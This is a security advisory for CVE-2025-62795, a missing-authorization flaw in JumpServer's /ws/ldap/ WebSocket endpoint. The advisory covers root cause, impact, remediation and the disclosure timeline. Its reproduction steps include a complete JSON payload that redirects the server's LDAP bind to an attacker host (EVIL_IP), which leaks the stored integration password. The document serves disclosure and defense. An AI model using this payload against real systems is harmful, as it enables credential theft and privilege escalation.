CVE-2025-62795: Unauthorized LDAP Configuration Access via WebSocket in JumpServer PAM

Affected Product

JumpServer is an open-source Privileged Access Management (PAM) solution that helps organizations secure and manage access to their IT infrastructure. It provides centralized authentication, authorization, and auditing capabilities for SSH, RDP, and other remote access protocols.

Vulnerability Overview

The vulnerability exists in the /ws/ldap/ WebSocket endpoint, which lacks proper privilege verification. Any authenticated user can invoke a LDAP test function by sending specific messages to this WebSocket endpoint, exposing LDAP credentials.

An authenticated low-privilege user can connect to this endpoint and send specially crafted testing_config messages that include a malicious LDAP server URI. Because the endpoint does not enforce administrative permission checks, an attacker can make the server connect to an attacker-controlled LDAP host, potentially exposing stored LDAP bind credentials, or trigger unintended LDAP synchronization or user import operations.

Steps to Reproduce

1. Ensure JumpServer is integrated with LDAP
2. Log in as any user
3. Establish a WebSocket connection to /ws/ldap
4. Send the following JSON message (replace EVIL_IP with an attacker-controlled LDAP server):

   {
     "msg type": "testing_config",
     "AUTH_LDAP_SERVER_URI": "ldap://EVIL_IP:636",
     "AUTH_LDAP_BIND_DN": "cn=test,ou=b,dc=d,dc=c",
     "AUTH_LDAP_START_TLS": false,
     "AUTH_LDAP_SEARCH_OU": "ou=b,dc=d,dc=c",
     "AUTH_LDAP_SEARCH_FILTER": "(uid={username})",
     "AUTH_LDAP_USER_ATTR_MAP": "{\"username\": \"cn\"}",
     "AUTH_LDAP": true
   }

   

   Figure 1: Sending the malicious WebSocket message to trigger LDAP credential leakage
5. Observe that JumpServer attempts to bind to the attacker-controlled server and sends the LDAP integration password in the bind request

Figure 2: LDAP bind request captured showing the disclosed password

This vulnerability can be exploited by any authenticated user, regardless of their assigned permissions. No specific permissions are required to access the vulnerable WebSocket endpoint and trigger LDAP credential disclosure.

Expected Behavior

The secure implementation should enforce the following controls:

• Only users with appropriate permissions should be able to access the /ws/ldap WebSocket endpoint and trigger LDAP configuration or test actions
• The testing_config message handler should verify that the user has appropriate LDAP configuration permissions
• Any change to the LDAP server URI should require explicit re-authentication: users should be required to explicitly re-enter the bind password when testing a different LDAP server, rather than automatically reusing stored credentials
• LDAP configuration testing should be logged and audited

Impact Analysis

This vulnerability has severe security implications for organizations using JumpServer with LDAP integration. The primary impact is the complete disclosure of the LDAP integration account password. LDAP accounts used for integration typically have read access to all user and group information in Active Directory or LDAP directories, and might also have write access for user provisioning and synchronization operations.

If the integration account can modify user or group entries in LDAP, an attacker with access to these credentials can potentially escalate privileges. This could allow the attacker to grant themselves administrative access to JumpServer or other integrated systems.

Root Cause Analysis

The root cause of this vulnerability is the absence of proper authorization checks in the WebSocket message handler for LDAP configuration testing. The WebSocket handler is defined in the JumpServer codebase at apps/settings/ws.py(GitHub source).

The handler processes testing_config messages without verifying that the user has administrative privileges or the right to modify LDAP settings. The code path that handles this message type does not include any permission checks before executing the LDAP configuration test logic. As a result, unprivileged users can invoke backend LDAP configuration routines and force JumpServer to connect to arbitrary servers.

Another issue is that when a custom LDAP server URI is provided in the test message, JumpServer automatically reuses the stored LDAP bind credentials from its configuration. There is no requirement for the user to re-enter or confirm these credentials, even when connecting to a different server. This design allows an attacker to redirect the authentication attempt to their own server while JumpServer dutifully sends the legitimate credentials it has stored.

The vulnerability highlights a broader security concern with WebSocket endpoints. While traditional REST API endpoints in modern applications usually have proper access control enforcement, the WebSocket handlers tend to receive less attention and are often implemented with insufficient security controls.

Remediation Recommendations

Immediate Actions

1. Upgrade Immediately: Update to v3.10.21-lts or v4.10.12-lts to receive the official patch
2. Rotate LDAP Credentials: Change the LDAP integration account password immediately if you suspect exposure
3. Review LDAP Logs: Audit LDAP server logs for suspicious authentication attempts or connections from unexpected IP addresses
4. Check JumpServer Audit Logs: Review WebSocket connection logs and LDAP configuration test operations for unauthorized access
5. Network Monitoring: Implement network monitoring to detect outbound connections to unexpected LDAP servers

Temporary Workaround (If Immediate Patching is Not Possible)

Consider restricting JumpServer's outbound LDAP connections to only approved directory servers using firewall rules or network segmentation.

Disclosure Timeline

• 23 Oct 2025: Vulnerability discovered and reported to JumpServer team
• 23 Oct 2025: JumpServer development team releases fixed versions (same day)
• 30 Oct 2025: Public disclosure of GitHub Security Advisory and CVE record

Conclusion

Organizations that use JumpServer with LDAP integration should treat this vulnerability as high priority and immediately assess their exposure. The combination of weak authorization controls and automatic credential reuse creates an attack path that requires minimal effort to abuse. At SolidPoint, we are committed to responsible disclosure and have worked with the JumpServer maintainers to disclose and address this issue.

We want to thank the JumpServer development team for their professional response and swift remediation of this vulnerability. Their collaborative approach and quick release of patches exemplifies the importance of defenders working together to improve the security of critical infrastructure.